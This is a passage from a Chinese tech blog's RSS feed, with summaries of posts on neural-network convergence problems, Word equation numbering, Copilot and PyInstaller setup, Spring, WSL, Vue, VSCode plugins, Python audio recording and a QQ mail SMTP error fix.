      <description>点击上方“小白学视觉”，选择加&#34;星标&#34;或“置顶”&#xA;重磅干货，第一时间送达 编者荐语&#xA;文章分别从数据方面和模型方面分析了导致模型训练不收敛或失败的原因，数据方面总结了四种可能的原因，模型方面总结了九种可能的问题。除此之外，文章介绍了每种潜在问题的产生后果或现象，并提供了常规做法。&#xA;作者丨风影忍着@知乎&#xA;链接丨https://zhuanlan.zhihu.com/p/285601835&#xA;在面对模型不收敛的时候，首先要保证训练的次数够多。在训练过程中，loss并不是一直在下降，准确率一直在提升的，会有一些震荡存在。只要总体趋势是在收敛就行。若训练次数够多（一般上千次，上万次，或者几十个epoch）没收敛，再考虑采取措施解决。&#xA;一、数据与标签方面&#xA;1. 没有对数据进行预处理。数据分类标注是否准确？数据是否干净？&#xA;2. 没有对数据进行归一化。由于不同评价指标往往具有不同的量纲和量纲单位，这样的情况会影响到数据分析的结果，为了消除指标之间的量纲影响，需要进行数据标准化处理，以解决数据指标之间的可比性。原始数据经过数据标准化处理后，各指标处于同一数量级，适合进行综合对比评价。此外，大部分神经网络流程都假设输入输出是在0附近的分布，从权值初始化到激活函数、从训练到训练网络的优化算法。将数据减去均值并除去方差。&#xA;3. 样本的信息量太大导致网络不足以fit住整个样本空间。样本少只可能带来过拟合的问题，你看下你的training set上的loss收敛了吗？如果只是validate set上不收敛那就说明overfitting了，这时候就要考虑各种anti-overfit的trick了，比如dropout，SGD，增大minibatch的数量，减少fc层的节点数量，momentum，finetune等。&#xA;4. 标签的设置是否正确。&#xA;二、模型方面&#xA;1. 网络设定不合理。&#xA;如果做很复杂的分类任务，却只用了很浅的网络，可能会导致训练难以收敛。应当选择合适的网络，或者尝试加深当前网络。总体来说，网络不是越深越好，开始可以搭建一个3~8层的网络，当这个网络实现的不错时，你可以考虑实验更深的网络来提升精确度。从小网络开始训练意味着更快，并且可以设置不同参数观察对网络的影响而不是简单的堆叠更多层。&#xA;2. Learning rate不合适。&#xA;如果太大，会造成不收敛，如果太小，会造成收敛速度非常慢。&#xA;在自己训练新网络时，可以从0.1开始尝试，如果loss不下降的意思，那就降低，除以10，用0.01尝试，一般来说0.01会收敛，不行的话就用0.001. 学习率设置过大，很容易震荡。不过刚刚开始不建议把学习率设置过小，尤其是在训练的开始阶段。在开始阶段我们不能把学习率设置的太低否则loss不会收敛。&#xA;我的做法是逐渐尝试，从0.1,0.08,0.06,0.05 ......逐渐减小直到正常为止。有的时候候学习率太低走不出低估，把冲量提高也是一种方法，适当提高mini-batch值，使其波动不大。&#xA;learning rate设大了会带来跑飞（loss突然一直很大）的问题。这个是新手最常见的情况——为啥网络跑着跑着看着要收敛了结果突然飞了呢？可能性最大的原因是你用了relu作为激活函数的同时使用了softmax或者带有exp的函数做分类层的loss函数。&#xA;当某一次训练传到最后一层的时候，某一节点激活过度（比如100），那么exp(100)=Inf，发生溢出，bp后所有的weight会变成NAN，然后从此之后weight就会一直保持NAN，于是loss就飞起来辣。如果lr设的过大会出现跑飞再也回不来的情况。这时候你停一下随便挑一个层的weights看一看，很有可能都是NAN了。对于这种情况建议用二分法尝试。0.1~0.0001.不同模型不同任务最优的lr都不一样。&#xA;3. 隐层神经元数量错误。&#xA;在一些情况下使用过多或过少的神经元数量都会使得网络很难训练。太少的神经元数量没有能力来表达任务，而太多的神经元数量会导致训练缓慢，并且网络很难清除一些噪声。&#xA;隐层神经元数量可以从256 到1024中间开始设置，然后可以看看研究人员使用的数字，可以用作参考。如果他们使用的数字与这个大不相同，那么可以想象一下这其中的原理。在决定使用隐层的单元数量之前，最为关键的是考虑你需要通过这个网络表达信息的实际值的最少数量，然后再慢慢增加这个数字。&#xA;如果你做回归任务可以考虑使用的神经元数量为输入或输出变量的2到3倍。实际上，与其它因素相比，隐藏单元的数量通常对于神经网络的性能影响相当小。并且在很多情况下，增大所需要隐藏单元的数量仅仅是减慢了训练速度。&#xA;4. 错误初始化网络参数。&#xA;如果没有正确初始化网络权重，那么网络将不能训练。&#xA;通常使用的比较多的初始化权重的方法有‘he’,’lecun’,’xavier’在实际应用中这些方法有非常好的性能而网络偏差通常初始化为0，你可以选择一个最适合你任务的初始化方式。&#xA;5. 没有正则化。&#xA;正则化典型的就是dropout、加噪声等。即使数据量很大或者你觉得网络不可能出现过拟合，但是对网络进行正则化还是很有必要的。&#xA;dropout 通常从设定参数为0.75或0.9开始，根据你认为网络出现过拟合的可能性来调整这个参数。另外，如果你确定这个网络不会出现过拟合，那么可以将参数设定为0.99。正则化不仅仅可以防止过拟合，并且在这个随机过程中，能够加快训练速度以及帮助处理数据中的异常值并防止网络的极端权重配置。对数据扩增也能够实现正则化的效果，最好的避免过拟合的方法就是有大量的训练数据。&#xA;6. Batch Size 过大。&#xA;Batch size 设置的过大会降低网络的准确度，因为它降低了梯度下降的随机性。另外，在相同情况下batch size 越大那么要达到相同的精确度通常需要训练更多的epoch。&#xA;我们可以尝试一些较小的batch size 如 16 ，8 甚至是1。使用较小的batch size 那么一个epoch就可以进行更多次的权值更新。这里有两个好处，第一，可以跳出局部最小点。其二可以表现出更好的泛化性能。&#xA;7. 学习率设的不对。&#xA;许多深度学习的框架默认开启了gradient clipping ,这个可以处理gradient explosion问题，这个是非常有用的，但是在默认情况下它也很难找到最佳学习率。如果你正确的清理了数据，删除了异常值，以及设定了正确的学习率，那么可以不需要使用gradient clipping，偶尔你也会遇到gradient explosion问题，那么你可以开启gradient clipping。但是，出现这种问题一般情况下表明数据有其它问题，而gradient clipping只是一个临时的解决方案。</description>
    </item>
    <item>
      <title>Word中公式自动编号及交叉引用：简单、详细、可用</title>
      <link>https://bchobby.github.io/posts/7dd2d8fb7f162ac98590e20eac682291/</link>
      <pubDate>Tue, 28 Mar 2023 09:06:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dd2d8fb7f162ac98590e20eac682291/</guid>
      <description>一、公式自动编号 第一步： &#34;Alt&#34; + &#34;=&#34; 键入所需公式，并在公式输入完成后键入&#34;#&#34;，注意，中间不加空格：&#xA;第一步： 选择 “插入” - “文本” - “文档部件” - “域”：&#xA;在域设置框中依次选择 “编号”、“listnum” 和 “NumberDefault”，点确定：&#xA;此处域选项中可以自定义勾选“列表中级别”，默认是一级列表；“起始值”可以设定编号的初始值。&#xA;这个时候可以发现公式后添加了编号值，并按回车：&#xA;到此，编号添加完毕。后续公式采用相同的方法，编号值会自动往上加。&#xA;二、交叉引用 （配合上面的编号使用） 第一步： 在Word中选择依次 “插入” - “交叉引用”&#xA;选项框中引用类型选择 “编号项” ,发现列表中多出一个编号“（1）”，引用内容选择 “段落编号”，点击插入即可。&#xA;这个时候，发现 “（1）” 已经被插入至文中，自行在前面加上想要的文字即可。&#xA;三、自定义列表样式 如前所述，在插入域的时候，列表样式是可调的。列表名称中 “LegalDefault”、“NumberDefault”、“OutlineDefault”为系统默认，此处的 “Equation” 是我自己添加的，主要是去掉了默认添加编号时的括号。&#xA;具体方法为 “开始” - “多级列表” - “定义新的多级列表”&#xA;更改下图中关键的两处，“输入编号的格式” 里可以在序号周围添加想要的括号“（）”、“【】”等。“ListNum域列表名” 就是插入域时可以看到的列表里的样式名称（这里取为Equation，见上上图）。&#xA;四、根据章节选择公式 如果是根据论文的标题级别，生成带章节的公式，先去看这两个连接：&#xA;Word 中利用“多级列表“功能实现章节标题自动编号_多级符号对章名小节名进行自动编号_他人是一面镜子，保持谦虚的态度的博客-CSDN博客&#xA;word中按照章节为图表插入题注，生成图表目录、交叉引用_交叉引用 图表_他人是一面镜子，保持谦虚的态度的博客-CSDN博客&#xA;步骤： 引用 -- 插入题注 -- 标签（公式）--- 选择从题注中排除标签&#xA;选着 编号，根据要求选择想相应的信息（格式、分隔符、章节起始），&#xA;当然，公式的 交叉引用和图片、表格一样&#xA;根据章节实现自动编号，可借鉴下面的链接：&#xA;Word论文中关于章、节、图、表、公式自动编号及引用_word引用章节编号_YHCANDOU的博客-CSDN博客</description>
    </item>
    <item>
      <title>AI写代码 GitHub Copilot &#43; Idea 安装和使用教程</title>
      <link>https://bchobby.github.io/posts/6729d29c225aa802e2fae83c9545f49a/</link>
      <pubDate>Tue, 28 Mar 2023 00:02:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6729d29c225aa802e2fae83c9545f49a/</guid>
      <description>文章目录 一、GitHub Copilot订阅服务二、Idea安装Copilot插件三、插件使用四、参考文档 GitHub Copilot 是微软与OpenAI共同推出的一款AI编程工具，基于GitHub及其他网站的源代码，根据上文提示为程序员自动编写下文代码，可以极大地提高编写代码的效率。 根据已有上下文补全代码根据函数名和参数，生成方法体根据注释自动生成代码代码优化生成测试代码 一、GitHub Copilot订阅服务 首先需要一个GitHub账号，没有的参考 GitHub申请账号&#xA;进入官网 ，点击申请。前两个月免费试用，第三个月开始付费，每月10 ，每年 100 ，每年100 ，每年100；或者某宝购买，很便宜，不过有概率封禁，建议用小号。&#xA;购买完成后，按下图配置，点save保存&#xA;二、Idea安装Copilot插件 Idea版本应不低于2021.2，否则无法搜到Copilot插件。&#xA;安装后重启，点击右下角图标，登录到GitHub，点击Copy and Open，浏览器会自动打开Copilot的激活页面。&#xA;输入复制的设备码，点击Continue按钮&#xA;授权页中点击Authorize GitHub Copilot即可激活成功。&#xA;三、插件使用 使用方法&#xA;四、参考文档 官方文档</description>
    </item>
    <item>
      <title>如何把Python脚本导出为exe程序</title>
      <link>https://bchobby.github.io/posts/503ca919e5c1f00d9141fda800358307/</link>
      <pubDate>Mon, 27 Mar 2023 20:22:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/503ca919e5c1f00d9141fda800358307/</guid>
      <description> 注意 只能在windows 平台下使用 一.pyinstaller简介 pyinstaller将Python脚本打包成可执行程序，使在没有Python环境的机器上运行&#xA;最新版是pyinstaller 3.1.1。支持python2.7和python3.3+。&#xA;可运行在Windows，Mac和Linux操作系统下。&#xA;但它不是跨编译的，也就是说在Windows下用PyInstaller生成的exe只能运行在Windows下，在Linux下生成的只能运行在Linux下。&#xA;二.pyinstaller在windows下的安装 使用命令pip install pyinstaller即可&#xA;在windows下，pyinstaller需要PyWin32的支持。当用pip安装pyinstaller时未找到PyWin32，会自动安装pypiwin32&#xA;三.打包 打包的app里并不包含任何源码，但将脚本的.pyc文件打包了。&#xA;四.小实例（windows下） 写好游戏文件guess_exe.py，代码如下&#xA;程序不是关键，重要的是如何打包成exe&#xA;注意 只能在windows 平台下使用 就会在当前文件下形成build文件夹、dist文件夹和.spec文件。&#xA;dist里就是guess_exe.exe可执行文件。&#xA;如果有打包错误，具体看build里的warn*.txt文档，里面详细记载了错误的原因。一般都是库丢失。&#xA;spec文件告诉PyInstaller如何去处理脚本。它对脚本名以及大多数pyinstaller的可选参数进行加密。PyInstaller就是通过执行spec文件的内容来build the app。&#xA;实在不行就复制下来命令，每次运行就修改一下&#xA;“”&#34;&#xA;pyinstaller --onefile --nowindowed --icon=&#34; D:\Queena\PyCharmProjects\dist1\computer_three.ico&#34; guess_exe.py “”&#34;&#xA;关于Python技术储备 学好 Python 不论是就业还是做副业赚钱都不错，但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料，给那些想学习 Python 的小伙伴们一点帮助！&#xA;一、Python所有方向的学习路线 Python所有方向路线就是把Python常用的技术点做整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。&#xA;二、学习软件 工欲善其事必先利其器。学习Python常用的开发软件都在这里了，给大家节省了很多时间。&#xA;三、入门学习视频 我们在看视频学习的时候，不能光动眼动脑不动手，比较科学的学习方法是在理解之后运用它们，这时候练手项目就很适合了。&#xA;四、实战案例 光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。&#xA;五、面试资料 我们学习Python必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有阿里大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。&#xA;这份完整版的Python全套学习资料已经上传CSDN，朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】 </description>
    </item>
    <item>
      <title>学习Spring</title>
      <link>https://bchobby.github.io/posts/9e4d17112582044bd89294da26cf463c/</link>
      <pubDate>Mon, 27 Mar 2023 19:52:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e4d17112582044bd89294da26cf463c/</guid>
      <description>1. Spring 1.1 简介 1.2 优点 Spring是一个开源的免费的框架(容器)&#xA;Spring是一个轻量级的,非入侵式的框架!&#xA;控制反转 (IOC) ,面向切面编程(AOP)&#xA;支持事务的处理, 对框架整合的支持&#xA;总结: Spring就是一个轻量级的控制反转(IOC)和面向切面编程(AOP)的框架!&#xA;1.3 组成 1.4 拓展 官网介绍: 现代化的java开发! 基于spring开发!&#xA;SpringBoot 一个快速开发的脚手架基于SpringBoot可以快速的开发单个微服务约定大于配置! SpringCloud ​ SpringCloud是基于SpringBoot实现的 因为大多数公司都在使用SpringBoot进行快速开发, 学习SpringBoot的前提,需要完全掌握Spring一级SpringMVC!承上启下的作用!&#xA;弊端: 发展了太久之后, 违背了原来的理念!&#xA;[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UvvEYp0D-1679916395534)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230321105450006.png)]&#xA;2. IOC理论推导 IOC本质 3. HelloSpring 4. IOC创建对象的方式 使用无参构造创建对象, 默认!假设我们要使用有参构造创建对象! 总结: 在配置文件加载的时候, 容器中管理就已经初始化了!&#xA;5.Spring配置 5.1 别名 &amp;lt;!-- 如果使用了别名, --&amp;gt; &amp;lt;alias name=&#34;user&#34; alias=&#34;userNew&#34;/&amp;gt; 5.2 Bean的配置 5.3 import 6. 依赖注入 6.1 构造器注入 6.2 Set方式注入 依赖注入: Set注入 ​ bean对象创建依赖 容器bean对象中的所有属性, 有 容器来注入!</description>
    </item>
    <item>
      <title>Windows如何开启子系统Linux手把手教(ubuntu22)</title>
      <link>https://bchobby.github.io/posts/eb59cabc9157ba7a385dcef16d7ac9cd/</link>
      <pubDate>Mon, 27 Mar 2023 19:17:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb59cabc9157ba7a385dcef16d7ac9cd/</guid>
      <description>Windows如何开启子系统Linux手把手教&#xA;第一步 win + i 开启windows 设置找到应用（也叫卸载和更改程序）&#xA;第二步找到程序和功能&#xA;第三步启用和关闭Windows功能点进去&#xA;第四步选择“适用于Linux的windows 子系统”&#xA;第五步重启系统&#xA;二、安装Linux Ubuntu22作为Windows10子系统&#xA;完成上一步的操作并且重新启动之后，通过左下角的放大镜搜索应用商店（microsoft store)。&#xA;打开Microsoft Store，搜索Linux，会出来一些结果，点击需要的版本（根据自己需要选择要安装的Ubuntu版本），我选了最新的22.04LTS，出现安装按钮，最后点击安装按钮，应用商店会自动下载，安装。安装完成会出现打开按钮。&#xA;首次安装要求登录，有一个邮箱就行，要求数据在国外处理，同意就好了，如果把windows 更新给关了需要打开，win + r 输入services.msc找到&#xA;点击“打开”按钮，Windows终端会弹出，首次安装需要等待几分钟。&#xA;安装完成后，需要输入用户名和密码，用户名和密码自行设置即可。&#xA;密码看不见，自己记住就好&#xA;至此，Windows子系统的安装就已经完成了。默认的Linux子系统不具备图形桌面，全命令行运行模式。</description>
    </item>
    <item>
      <title>Vue创建首页</title>
      <link>https://bchobby.github.io/posts/a2d8ad91f18f4d397a59beca36888065/</link>
      <pubDate>Mon, 27 Mar 2023 16:12:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2d8ad91f18f4d397a59beca36888065/</guid>
      <description>上图是要实现的首页界面&#xA;一、创建首页页面&#xA;1.在前台components里创建Layout.vue组件，作为首页页面。&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt;首页&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { } &amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; &amp;lt;/style&amp;gt; 二、配置路由&#xA;1.去router下的index.js文件中去配置路由地址&#xA;{ path: &#34;/&#34;, name: &#34;layout&#34;, component: Layout, } 2.把Layout.vue组件引入到router下的index.js文件中&#xA;import Layout from &#34;../components/Layout.vue&#34;; 三、搭建首页页面结构&#xA;1.搭建首页页面结构&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div class=&#34;header&#34;&amp;gt;头&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;navbar&#34;&amp;gt;左&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;main&#34;&amp;gt;主&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#34;Layout&#34; } &amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; .header { position: absolute; line-height: 50px; background-color: cornflowerblue; padding: 0px; top: 0px; width: 100%; } .navbar { position: absolute; width: 230px; top: 50px; left: 0px; background-color: rgb(182, 243, 39); height: 100%; } .</description>
    </item>
    <item>
      <title>vscode配置C/C&#43;&#43;常用插件，亲测好用</title>
      <link>https://bchobby.github.io/posts/7b7ee63b11469d7f2dcb792eb8077f1c/</link>
      <pubDate>Mon, 27 Mar 2023 16:11:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b7ee63b11469d7f2dcb792eb8077f1c/</guid>
      <description>系列文章目录 文章目录 系列文章目录前言一、VScode插件是什么？二、C++ 常用插件问题总结总结 前言 一、VScode插件是什么？ Visual Studio Code(VS Code)是微软2015年推出的一个轻量但功能强大的源代码编辑器，基于 Electron 开发，支持 Windows、Linux 和 macOS 操作系统。它内置了对JavaScript，TypeScript和Node.js的支持并且具有丰富的其它语言和扩展的支持，功能超级强大。Visual Studio Code是一款免费开源的现代化轻量级代码编辑器，支持几乎所有主流的开发语言的语法高亮、智能代码补全、自定义快捷键、括号匹配和颜色区分、代码片段、代码对比 Diff、GIT命令 等特性，支持插件扩展，并针对网页开发和云端应用开发做了优化。&#xA;VS Code提供强大的扩展，版本更新很及时，功能丰富且强大。而且官网提供了丰富的说明文档和视频等支持。安装扩展以添加新语言、主题、调试器并连接到其他服务。 扩展在单独的进程中运行，不会减慢编辑器的速度。&#xA;二、C++ 常用插件问题总结 1&amp;gt; C/C++，必选； 2&amp;gt; C/C++ Extension Pack , C/C++扩展包 ； 3&amp;gt; C/C++ Snippets，C/C++重用代码块; 4&amp;gt; C/C++ Advanced Lint, C/C++静态检测; 5&amp;gt; Better C++ Syntax， C/C++语法高亮； 6&amp;gt; Code Runner， 代码运行; 7&amp;gt; Include AutoComplete， 自动头文件包含; 8&amp;gt; GBKtoUTF8，自动将 GBK 转换为 UTF8; 9&amp;gt; compareit，比较插件，可以用于比较两个文件的差异; 10&amp;gt; TabNine，一款 AI 自动补全插件，强烈推荐，非常好使； 11&amp;gt; C/C++ Themes, C/C++图标颜色主题； 12&amp;gt; Prettier - Code formatter， 自动调整代码格式； 13&amp;gt; vscode-icons，VSCode 图标插件，主要是资源管理器下各个文件夹的图标，喜欢mac风格的可以安装vscode-icons-mac； 14&amp;gt;CMake、 CMake Integration、CMake Language Support、CMake Tools、cmake-format 这几个插件用于在vscode中支持cmake编译。​ 总结 选择合适的插件，能够大大提高开发的速度，工欲善其事,必先利其器。</description>
    </item>
    <item>
      <title>使用 Python实现录音功能 (实用)</title>
      <link>https://bchobby.github.io/posts/38d1011151ecb11b4c58f79128bc12d8/</link>
      <pubDate>Mon, 27 Mar 2023 11:30:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38d1011151ecb11b4c58f79128bc12d8/</guid>
      <description>今天我们来介绍一个好玩且实用的东西，我们使用python来实现一个录音的功能，废话不多说，让我们直接开始。&#xA;安装 使用 PIP 安装 PvRecorder：&#xA;pip3 install pvrecorder 查找可用的麦克风 一台计算机可以有多个麦克风, 例如，笔记本电脑有一个内置麦克风，可能还连接了一个耳机， 第一步是找到我们要录音的麦克风。&#xA;from pvrecorder import PvRecorder for index, device in enumerate(PvRecorder.get_audio_devices()): print(f&#34;[{index}] {device}&#34;) 在 Dell XPS 笔记本电脑上运行上面的代码可以得到：&#xA;[0] Monitor of sof-hda-dsp HDMI3/DP3 Output [1] Monitor of sof-hda-dsp HDMI2/DP2 Output [2] Monitor of sof-hda-dsp HDMI1/DP1 Output [3] Monitor of sof-hda-dsp Speaker + Headphones [4] sof-hda-dsp Headset Mono Microphone + Headphones Stereo Microphone [5] sof-hda-dsp Digital Microphone 记下目标麦克风的索引，我们将其传递给 PvRecorder 的构造函数， 不确定时，可以将 -1 传递给构造函数以使用默认麦克风。</description>
    </item>
    <item>
      <title>【已解决】535 Login Fail. Please enter your authorization code to login. More information in http://servi</title>
      <link>https://bchobby.github.io/posts/874cd41590589c82c83443fe2ecd0e1b/</link>
      <pubDate>Sun, 26 Mar 2023 20:57:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/874cd41590589c82c83443fe2ecd0e1b/</guid>
      <description>介绍&#xA;这里是小编成长之路的历程，也是小编的学习之路。希望和各位大佬们一起成长！&#xA;以下为小编最喜欢的两句话：&#xA;要有最朴素的生活和最遥远的梦想，即使明天天寒地冻，山高水远，路远马亡。&#xA;一个人为什么要努力？ 我见过最好的答案就是：因为我喜欢的东西都很贵，我想去的地方都很远，我爱的人超完美。因此，小编想说：共勉！ 目录&#xA;前言&#xA;问题：&#xA;问题意思：&#xA;解决方法：&#xA;方法一：(原因：可能是POP3/SMTP的服务没有开启)&#xA;方法二：（原因：可能是你之前申请的授权码过期，需要重新申请）&#xA;如何使用SpringBoot发送邮箱&#xA;SpringBoot的配置 application.properties&#xA;问题： 给邮箱发布邮件时报错535 Login Fail. Please enter your authorization code to login. More information in http://service.mail.qq.com/cgi-bin/help?subtype=1&amp;amp;&amp;amp;id=28&amp;amp;&amp;amp;no=1001256&#xA;问题意思： 535 登入失敗。请输入您的授权码登录。更多信息 http://service.mail.qq.com/cgi-bin/help?subtype=1&amp;amp;&amp;amp;id=28&amp;amp;&amp;amp;no=1001256&#xA;当你点进连接就会进入到QQ邮箱的帮助页面&#xA;解决方法： 方法一：(原因：可能是POP3/SMTP的服务没有开启) 登录QQ邮箱 设置===》账户====》POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务&#xA;===》查看POP3/SMTP服务是否开启，如果没有开启，就开启并去获取授权码&#xA;（注意：获取授权码的时候需要手机辅助验证）&#xA;方法二：（原因：可能是你之前申请的授权码过期，需要重新申请） 重复上面的步骤，去获取授权码&#xA;如何使用SpringBoot发送邮箱 请看小编这篇博客&#xA;SpringBoot三种方法实现定时发送邮件的案例_determine ZandR的博客-CSDN博客&#xA;SpringBoot的配置 application.properties # 发件人邮件服务器相关配置 spring.mail.host=smtp.qq.com spring.mail.port=587 # 配置个人QQ账户和密码（这里需要大家修改为自己的QQ账号和密码，密码是加密后的授权码，授权码的获得后继讲解） spring.mail.username=获取授权码的QQ@qq.com spring.mail.password=获取的授权码 spring.mail.default-encoding=UTF-8 # 邮件服务超时时间配置 spring.mail.properties.mail.smtp.connectiontimeout=5000 spring.mail.properties.mail.smtp.timeout=3000 spring.mail.properties.mail.smtp.writetimeout=5000 yam的配置可以根据上面去配置&#xA;最后，希望各位大佬多多指教，共同进步！！！</description>
    </item>
    <item>
      <title>群智能优化算法改进-学习策略总结与分析</title>
      <link>https://bchobby.github.io/posts/8a55ea128f8e8a286da466e82e238f24/</link>
      <pubDate>Sun, 26 Mar 2023 18:07:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a55ea128f8e8a286da466e82e238f24/</guid>
      <description>群智能优化算法改进-学习策略总结与分析 一、随机反向学习（Random opposition-based Learning, ROBL）二、准反向学习（Quasi-opposition-based learning）三、准反射学习（Quasi-reflection-based learning）四、动态反向学习五、总结 一、随机反向学习（Random opposition-based Learning, ROBL） 反 向 学 习 策 略 （ Opposition-based Learning, OBL） 是 Tizhoosh H R 等人提出的一种群智能优化算法改进策略，其思想是：在种群寻优的过程中，根据当前解产生一个反向解，比较当前解与反向解的目标函数值，择优进入下一次迭代。 由于反向学习策略生成的反向解与当前解距离为一定值，缺乏随机性，无法有效增强搜索空间内种群多样性。因此，Long W 等人提出了改进的随机反向学习策略（Random Opposition-based Learning, ROBL），计算公式如下：&#xA;X r a n d = L B + U B − r ∗ X . Xrand= LB+UB-r*X. Xrand=LB+UB−r∗X.&#xA;r为0到1之间的随机数。&#xA;二、准反向学习（Quasi-opposition-based learning） Rahnamayan提出了OBL的一种变体，称为准反向学习（QOBL），定义为：&#xA;x i o = l b i + u b i − x i .</description>
    </item>
    <item>
      <title>vue3学习之路-项目启动自动打开浏览器以及server配置</title>
      <link>https://bchobby.github.io/posts/af701328b74d100cd4141d59a6f1f6e4/</link>
      <pubDate>Sun, 26 Mar 2023 17:25:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af701328b74d100cd4141d59a6f1f6e4/</guid>
      <description>目录&#xA;项目启动自动打开浏览器&#xA;server配置的说明&#xA;配置server时的报错&#xA;vue2项目启动自动打开浏览器的配置&#xA;正常情况下，刚创建的项目在执行npm run dev命令后不会自动打开浏览器，为了方便可以设置项目启动自动打开浏览器。&#xA;项目启动自动打开浏览器 方法一：&#xA;在package.json文件夹下在dev和build命令后面添加--open，重新执行npm run dev命令即可&#xA;&#34;scripts&#34;: { &#34;dev&#34;: &#34;vite --open&#34;, &#34;build&#34;: &#34;vite build --open&#34;, &#34;preview&#34;: &#34;vite preview&#34; }, 方法二：&#xA;在vite.config.js文件中配置server&#xA;export default defineConfig({ plugins: [vue()], server: { host: &#39;127.0.0.1&#39;, port: &#39;8888&#39;, open: true, https: false }, }) server配置的说明 server: { host: &#39;127.0.0.1&#39;,// 指定服务器应该监听哪个 IP 地址 port: &#39;8888&#39;, // 指定开发服务器端口 strictPort: false, // 设为 true 时若端口已被占用则会直接退出，而不是尝试下一个可用端口 open: true, // 开发服务器启动时，自动在浏览器中打开应用程序 https: false // 是否开启 https }, ps:关于proxy的配置后面会单独进行说明。</description>
    </item>
    <item>
      <title>VSCode插件keil编译安装</title>
      <link>https://bchobby.github.io/posts/85577bc026e1d5bcda35f7f3926f82e6/</link>
      <pubDate>Sun, 26 Mar 2023 01:06:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85577bc026e1d5bcda35f7f3926f82e6/</guid>
      <description>一、安装插件&#xA;VScode中搜索插件Keil Assistant并安装。&#xA;二、使用方法&#xA;插件下方介绍非常详细，并且都是中文的。&#xA;1.插件设置&#xA;1.插件设置&#xA;进入插件设置，添加Keil可执行文件的路径。&#xA;2.打开工程打开资源管理器，会出现KEIL UVISION PROJECT点击后面的打开keil工程按钮，选择你想打开的工程的**.uvprojx**文件。&#xA;下方会有编译，下载，重编译按钮。&#xA;如果上面没有添加Keil可执行文件的路径(UV4.exe)，这里会报错，不能编译。</description>
    </item>
    <item>
      <title>Vue基础知识总结 10：使用vue-cli（vue脚手架）快速搭建项目</title>
      <link>https://bchobby.github.io/posts/7554142d3dbb913800573eb704998f8f/</link>
      <pubDate>Sun, 26 Mar 2023 00:34:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7554142d3dbb913800573eb704998f8f/</guid>
      <description>🏆作者简介：哪吒，CSDN2022博客之星Top1、CSDN2021博客之星Top2、多届新星计划导师✌、博客专家💪，专注Java硬核干货分享，立志做到Java赛道全网Top N。&#xA;🏆本文收录于，Java基础教程系列，目前已经700+订阅，CSDN最强Java专栏，包含全部Java基础知识点、Java8新特性、Java集合、Java多线程、Java代码实例，理论结合实战，实现Java的轻松学习。&#xA;🏆姐妹篇，Java基础教程（入门篇），包含面向对象、基本数据类型、数组、继承和多态、泛型、枚举等Java基础知识点。&#xA;🏆姐妹进阶篇，Java基础教程（进阶篇），包含Java高并发、Spring、MySQL等Java进阶技术栈。&#xA;🏆全部订阅，可加入Java学习星球，完成Java从入门、实战、进阶全方位的Java知识体系学习。&#xA;目录&#xA;一、什么是VueCLI&#xA;1、如果你只是简单写几个Vue的Demo程序，那么你不需要VueCLI脚手架。&#xA;2、如果你在开发大型项目，那么你需要，并且必然需要使用VueCLI。&#xA;3、CLI是什么意思？&#xA;4、脚手架长什么样？&#xA;5、脚手架依赖于node.js和webpack&#xA;二、安装Vue CLI脚手架&#xA;三、runtime-compiler和runtime-only的区别&#xA;1、runtime-compiler加载过程&#xA;2、runtime-only加载过程：（性能更高，代码更少）&#xA;3、小结&#xA;4、代码实例&#xA;5、npm run build执行过程&#xA;6、npm run dev执行过程&#xA;四、认识Vue CLI3&#xA;1、vue-cli 3 与 vue-cli 2 版本的区别？&#xA;2、通过脚手架3构建项目&#xA;五、箭头函数&#xA;1、定义函数的三种方式&#xA;2、箭头函数参数和返回值&#xA;3、什么时候使用箭头函数&#xA;4、箭头函数与this&#xA;六、前端路由vue-router&#xA;1、维基百科&#xA;2、路由的机制&#xA;3、后端渲染&#xA;4、后端路由阶段&#xA;5、前后端分离&#xA;6、单页面富应用阶段&#xA;7、SPA页面&#xA;8、前端路由&#xA;七、改变URL，但是页面不进行整体的刷新&#xA;1、URL的hash&#xA;2、HTML5的history 一、什么是VueCLI 1、如果你只是简单写几个Vue的Demo程序，那么你不需要VueCLI脚手架。 2、如果你在开发大型项目，那么你需要，并且必然需要使用VueCLI。 使用Vue.js开发大型应用时，我们需要考虑代码目录结构、项目结构和部署、热加载、代码单元测试等事情。如果每个项目都要手动完成这些工作，那么无疑效率比较低效，所以通常我们会使用一些脚手架工具来帮助完成这些事情。 3、CLI是什么意思？ CLI是Commond-Line 